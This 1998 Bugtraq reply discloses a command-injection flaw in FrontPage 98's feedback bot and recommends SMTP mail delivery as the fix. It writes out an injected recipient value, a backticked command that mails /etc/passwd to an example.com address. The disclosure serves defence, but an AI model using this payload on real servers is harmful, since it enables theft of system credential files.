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Re: Followup to FP98 and other Frontpage bugs
Markus Stumpf (maex-lists-bugtraq
SPACE.NET)Wed, 14 Oct 1998 02:21:34 +0200
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On Mon, Oct 12, 1998 at 11:22:38AM -0700, pedwardWEBCOM.COM wrote: > So, here is the status of Frontpage and it's (in)security. Don't know whether this has already been reported. I've noticed another weakness which is still present at least in FP98 with the version id: FPVersion="3.0.2.1330" When installing a server for Frontpage it creates a file (usually) /usr/local/frontpage/www.example.com:80.cnf In order to get the feedback bot working for sending feedback via eMail you can define within this file SendmailCommand:/usr/sbin/sendmail %r The "%r" above is substituted with the recipients email address(es). With this setting you are vulnerable, as creating a feedback page with a recipient address of e.g. `/usr/bin/Mail -s 'password' nobody
example.com < /etc/passwd` will execute the command /usr/sbin/sendmail `/usr/bin/Mail -s 'password' nobody
example.com < /etc/passwd` and send the password file to nobody
example.com. To avoid this tell Frontpage to use the SMTP protocol to send emails by using SMTPHost:mail.example.com and you may probably also use MailSender:webmaster
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